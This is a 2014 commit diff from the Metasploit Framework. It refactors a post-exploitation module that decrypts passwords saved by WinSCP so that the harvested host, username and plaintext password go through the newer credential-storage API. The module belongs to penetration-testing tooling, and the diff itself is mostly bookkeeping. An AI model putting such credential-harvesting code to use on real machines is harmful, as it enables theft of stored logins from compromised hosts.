Switch to Credential::* things

bug/bundler_fix
James Lee 2014-06-03 11:48:08 -05:00
parent 9d9f3b5a03
commit 8abed15c77
No known key found for this signature in database
GPG Key ID: 2D6094C7CEA0A321
1 changed files with 24 additions and 10 deletions

View File

@ -191,7 +191,6 @@ class Metasploit3 < Msf::Post
end
def winscp_store_config(config)
host = config['HostName']
pass = config['Password']
@ -208,16 +207,31 @@ class Metasploit3 < Msf::Post
plaintext = decrypt_password(pass, user+host)
print_status("Host: #{host} Port: #{portnum} Protocol: #{sname} Username: #{user} Password: #{plaintext}")
report_auth_info(
:host => host,
:port => portnum,
:sname => sname,
:source_id => session_db_id,
:source_type => "exploit",
:user => user,
:pass => plaintext
)
service_data = {
address: host,
port: portnum,
service_name: sname,
protocol: 'tcp',
workspace_id: myworkspace_id,
}
credential_data = {
origin_type: :session,
session_id: session_db_id,
post_reference_name: self.refname,
private_type: :password,
private_data: plaintext,
username: user
}.merge(service_data)
credential_core = create_credential(credential_data)
login_data = {
core: credential_core,
status: Metasploit::Credential::Login::Status::UNTRIED
}.merge(service_data)
create_credential_login(login_data)
end
end